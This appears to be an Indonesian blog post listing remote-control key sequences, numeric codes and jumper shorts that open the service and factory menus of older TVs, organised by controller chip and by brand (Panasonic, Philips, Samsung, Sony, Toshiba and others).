alternatif_1: Posisi volume pada 0/minimal >> tekan Display >> tekan VolDown di panel TV ditahan >> tekan Display lagi.
alternatif_2: Tekan Menu di remot >> tekan Menu di remot lagi >> tekan Display >> tekan Mute.
LA863328A-5028/2MD0, LC863320A-C81DC = Cari tombol kosong di remot yang tidak dipakai. Memilih dengan ChUp/ChDown, adjust VolUp/VolDown.
LC863324A-5T51, M37220M3-167SP, LC8633528B-50S8 = Masuk ke menu AutoProgram/AutoSearch, kemudian tekan berurutan 6483 untuk masuk ke service menu. Tekan berurutan 6483 lagi untuk masuk ke factory mode.
87CK38N-1H74 + TB1238 = Kurangi volume hingga 0, tekan Vol- dipanel, tahan tekan OSD/display diremot untuk masuk ke mode S. Ulangi langkah tersebut untuk masuk ke mode D. tekan Power (remot) untuk simpan/keluar.
LC863532A-5Z00 + LA76810 = Kurangi volume hingga 0, tekan Vol- dipanel, tahan tekan OSD/display diremot untuk masuk ke mode S. tekan Power (remot) untuk simpan/keluar.
M37220M3-010SP + M52340SP = Tekan Menu dipanel, tahan, tekan berurutan 6483. ChUp/Down pilih menu, VolUp/Down adjust data, power (remot) simpan/keluar.
LC863528B-51C3 = Tekan Display, tekan Mute 3 kali. Pindah halaman dengan Sleep. ChUp/Down pilih menu. VolUp/Down adjust data. Tekan Menu untuk simpan/keluar.
M37160M8-058FP + M61266(SMD) = Tekan Menu, tekan berurutan 6483. Pindah halaman dengan Mute. ChUp/Down pilih menu. VolUp/Down adjust data. Tekan Power/standby untuk simpan/keluar.
M37160M8-073FP(SMD) = Tekan Mute, tekan PP. tekan (_/__) untuk pindah halaman, tekan TV untuk keluar.
LC863328A-5Y29, 5Y28, 5Y19 = Volume posisi 0, tekan Vol- tahan, tekan 0 diremot 3 kali.
LC863528B-52K7 = Volume posisi 0, tekan menu 5 kali (masuk ke menu edit channel), pilih PROGRAM EXCHANGE, isikan 2483. Pindah halaman pakai QuickView.
LC863532B-52H8 + LA76810 = Tekan Menu, tekan berurutan 888.
LC863532B-55L1 (WCOM)= Volume posisi 0, tekan menu, tekan berurutan 6568. Pindah halaman pakai Display.
M37160M8-058FP + M61266 = Tekan Menu, tekan berurutan 6483.
TH-50J2-3RR0 = Set volume/balance sampai ke RS03, tekan Menu, tekan Mute.
alternatif_3: Tekan Menu di remot >> tekan Menu di remot lagi >> tekan QuickView >> tekan Mute.
PANASONIC
TX series: Taruh volume pada posisi minimal, taruh sleep pada 30 menit >> Tekan display ditahan >> tekan VolDown pada panel. Keluar servis menu tekan Normal di remot.
alternatif1: Taruh volume pada posisi minimal, taruh sleep pada 30 menit >> Tekan Display >> tekan display lagi ditahan >> tekan VolDown di panel. Tekan Normal di remot untuk keluar mode servis. tombol 1 dan 2 memilih halaman/grup settingan, 3 dan 4 memilih item, VolUp/Down mengubah nilai.
alternatif2: Short/konekkan sesaat pin FA1 ke FA2 atau TP8 ke ground.
PHILIPS
Tekan VolUp ditahan >> tekan ChDown. Keluar tombol StandBy/Power.
alternatif: TV pada posisi standby, tekan secara berurutan 0 >> 6 >> 2 >> 5 >> 9 >> Menu di remot.
POLYTRON/DIGITEC
TV dalam posisi standby, Tekan Menu di remot tahan hingga muncul konfirmasi password, untuk masuk ke service mode isikan 1013, untuk factory mode isikan 1014. Menyimpan dengan tombol Menu di remot.
RCA/SABA/THOMSON
Tv keadaan mati, Tekan tombol VT(tombol biru) diremot ditahan >> hidupkan tv pakai tombol power panel.catatan: untuk beberapa model, tekan tombol VT sekali lagi.
SAMSUNG
zoom_vision: TV keadaan standby, tekan berurutan di remot, P.STD >> Help >> Sleep >>Power.
plano: TV keadaan standby, tekan berurutan di remot, Display >> Menu >> Mute >>Power.
alternatif_1: TV keadaan standby, tekan berurutan di remot, Menu >> P.STD >> Mute >>Power.
alternatif_2: TV keadaan standby, tekan berurutan di remot, Mute >> 1 >> 8 >> 2 >> Power.
SANYO
alternatif: Tekan Menu diremote ditahan >> tekan VolUp di panel TV.
dynamic: Tekan Menu di panel TV, ditahan, tekan angka 1 diremot (thx. Aisy).
SHARP
expression: Hubungkan dua jumper di dekat tuner (pcb di bawah jumper dilubangi).
wonder_universe: Hubungkan sesaat dua jumper (J122 - J124).
alternatif: Matikan TV pakai tombol panel, tekan bersama-sama VolDown + ChUp pada panel, sambil ditahan hidupkan TV pakai tombol power panel.
SONY
Matikan TV dengan remot, tekan berurutan di remot, OSD/Display >> 5 >> VolDown >> Power.
alternatif: Matikan TV dengan panel tv, tekan VolUp bersama-sama dengan ChUp, hidupkan TV dengan tombol panel, tahan hingga menyala.
TCL
Tekan Display diremot ditahan >> tekan VolDown di TV, keduanya ditahan kira-kira 3 detik.
TOSHIBA
Tekan Mute diremot, muncul tanda mute dilayar, tekan Mute lagi, ditahan >> tekan Menu di TV.
Langganan:
Postingan (Atom)







